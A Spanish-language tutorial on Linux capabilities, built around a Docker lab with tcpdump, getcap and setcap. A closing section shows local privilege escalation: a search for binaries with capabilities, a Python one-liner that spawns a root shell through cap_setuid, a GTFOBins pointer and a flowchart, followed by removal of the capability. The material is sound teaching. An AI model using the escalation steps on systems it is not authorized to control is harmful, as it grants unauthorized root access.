🧠 Teoría
Las Linux Capabilities permiten dividir los privilegios de root en permisos más pequeños y controlados, otorgando a los procesos solo los privilegios que realmente necesitan.
Info
Importante:
Las capabilities afectan a los procesos, no a los usuarios.
🛠️ Práctica: Laboratorio con Docker
1. Preparar el entorno
Descargar la imagen de Ubuntu
docker pull ubuntu:latestCrear el contenedor con privilegios elevados
docker run -dit --privileged --name ubuntuServer ubuntuWarning
La flag
--privilegedes necesaria para capturar tráfico de red con tcpdump.
Acceder al contenedor
docker exec -it ubuntuServer bashActualizar e instalar herramientas
apt update
apt install libcap2-bin tcpdump net-tools -y- libcap2-bin: Proporciona getcap y setcap
- tcpdump: Herramienta para capturar tráfico de red
- net-tools: Incluye utilidades como
ifconfig
2. Crear un usuario de prueba
useradd liskov -m -s /bin/bash| Flag | Descripción |
|---|---|
-m | Crea el directorio home |
-s | Asigna el shell |
-d | Asigna el home (opcional si usás -m) |
3. Probando tcpdump
Identificar interfaces de red
ifconfigCapturar tráfico ICMP
tcpdump -i eth0 icmp -n -w Captura.cap| Flag | Descripción |
|---|---|
-i eth0 | Interfaz de red (usualmente ethernet) |
icmp | Filtro para paquetes ICMP |
-n | No resuelve IPs a nombres de dominio |
-w | Guarda la captura en un archivo |
🔍 Listar y analizar capabilities
Ver capabilities de procesos
- Listar PIDs:
ls /proc/- Ver detalles de un proceso (ejemplo PID 1234):
ls -l /proc/1234/
cat /proc/1234/status | grep CapExample
Salida esperada:
>CapEff: 000001ffffffffff
- Decodificar capabilities:
capsh --decode=000001ffffffffffVer capabilities de binarios
Asignar capabilities a tcpdump
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdumpTip
¿Qué estamos haciendo?
cap_net_raw: Permite crear sockets RAWcap_net_admin: Permite administrar interfaces de red=eip: Asigna las capabilities como Effective, Inheritable y Permitted
Ver capabilities de un binario
getcap /usr/sbin/tcpdumpBuscar capabilities en todo el sistema
getcap -r / 2>/dev/nullVer capabilities de un proceso
getpcaps <pid>🚩 Escalada de privilegios con capabilities
Capability peligrosa: cap_setuid
Warning
cap_setuid permite cambiar de usuario sin contraseña.
Ejemplo de explotación con Python
Si encontrás /usr/bin/python = cap_setuid+ep:
python -c 'import os; os.setuid(0); os.system("/bin/bash")'Info
os.setuid(0)cambia el UID del proceso a root y luego ejecuta una shell.
Remover capability peligrosa
setcap -r /usr/bin/python🗂️ Tabla de comandos útiles
| Comando | Descripción |
|---|---|
getcap <binario> | Ver capabilities de un binario |
setcap <caps> <binario> | Asignar capabilities |
getcap -r / 2>/dev/null | Buscar capabilities en todo el sistema |
getpcaps <pid> | Ver capabilities de un proceso |
capsh --decode=<hex> | Decodificar capabilities en formato hexadecimal |
🧰 Recursos: GTFOBins
Info
GTFOBins es una lista seleccionada de binarios de Unix que se pueden utilizar para eludir las restricciones de seguridad locales en sistemas mal configurados.
Tip
Para más técnicas de explotación con capabilities, consultá GTFOBins.
🗺️ Diagrama de flujo: Escalada con cap_setuid
flowchart TD A[Reconocimiento de capabilities] --> B{¿cap_setuid en binario?} B -- Sí --> C[Ejecutar exploit Python] C --> D[Obtener shell root] B -- No --> E[Buscar otras capabilities]